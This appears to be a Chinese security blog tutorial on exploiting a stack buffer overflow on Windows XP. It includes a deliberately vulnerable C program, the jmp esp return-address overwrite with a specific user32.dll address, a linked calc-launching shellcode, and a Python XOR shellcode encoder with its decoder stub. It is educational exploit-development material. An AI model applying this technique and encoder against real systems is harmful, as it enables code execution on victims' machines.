测试环境: windows xp
测试代码:
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password(char *password){ int authenticated; char buffer[44]; // local buffer authenticated = strcmp(password, PASSWORD); strcpy(buffer,password); // overflow return authenticated; } void main(){ int valid_flag = 0; char password[1024]; FILE *fp; LoadLibrary("user32.dll"); // load library if(!(fp=fopen("password.txt","rw+"))){ exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag){ printf("errorerror!\n\n"); }else{ printf("okokokok!"); } fclose(fp); }
ESP总是指向系统栈,并且不会被溢出的数据破坏,函数返回时,ESP所指的位置是所覆盖的返回地址的下一个位置,其中0x0012FB24处是返回地址,0x0012FB28是esp指向的位置,所以可以通过溢出覆盖函数返回地址为jmp esp
流程:
1、覆盖返回地址指令为: jmp esp
2、将shellcode放到返回地址后,返回地址前可用任意填充物(最好用0x90)
现在面临的就是如何得到jmp esp指令的地址,可以从一些系统dll里面搜索,比如利用msfpescan -f -j esp /media/psf/Home/user32.dll对user32.dll搜索jmp esp
这里使用0x77d29353作为利用
从github上找到一个calc的shellcode: https://github.com/peterferrie/win-exec-calc-shellcode
因为文件读取会受一些字符的影响,所以需要一个shellcode编码器,下面简单的写了一个shellcode编码生成器
black_list = "00 0a 0d ff 89 0b 0c 0d 1a 09" shellcode = ''' 31 D2 52 68 63 61 6C 63 54 59 52 51 64 8B 72 30 8B 76 0C 8B 76 0C AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 54 1F 24 0F B7 2C 17 42 42 AD 81 3C 07 57 69 6E 45 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7 58 58 61 C3 '''.strip().split(" ") # add 0x90 as end shellcode.append('90') for r_ in range(1, 255): tmp_ = '' for i_ in shellcode: now_value = eval("0x"+i_) ^ r_ now_value = str(hex(now_value))[2:] if now_value in black_list: break if len(now_value) == 1: now_value = '0' + now_value tmp_ += '\\x' + now_value else: work_xor = str(hex(r_)) print 'Xor Key: ', work_xor print 'Shell Code: ',tmp_,"\n" break else: print 'Enc ShellCode Eroor!' exit() print "Encode Shellcode:" shell_enc_code = ''' "\\x8B\\xC4" "\\x83\\xC0\\x16" "\\x33\\xC9" "\\x8A\\x1C\\x08" "\\x80\\xF3\\{}" "\\x88\\x1C\\x08" "\\x41" "\\x80\\xFB\\x90" "\\x75\\xF1" "{}" '''.format(work_xor[1:],tmp_) print shell_enc_code print "Hex: " print shell_enc_code.replace("\"","").replace("\n","").replace("\\x"," ").strip() ## shellcode decode : # # "\\x8B\\xC4" // mov eax,esp # "\\x83\\xC0\\x16" // add eax,16H # "\\x33\\xC9" // xor ecx,ecx # "\\x8A\\x1C\\x08" // mov bl,byte ptr ds:[eax + ecx] # "\\x80\\xF3\\{}" // xor bl,xxx # "\\x88\\x1C\\x08" // mov byte ptr ds:[eax + ecx],bl # "\\x41" // inc ecx # "\\x80\\xFB\\x90" // cmp bl,90h # "\\x75\\xF1" // jnz short decode
这里需要注意的几点是
1、当时按照书上的例子调试发现,一开始eax的值存在问题,指向不到正确的shellcode位置,所以在一开始的时候增加了mov eax,esp
2、循环xor decode的时候,为了方便设置了一个90h作为真正的shell code结尾符
Pwned!
know it then do it
本文作者:L3m0n
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/76264.html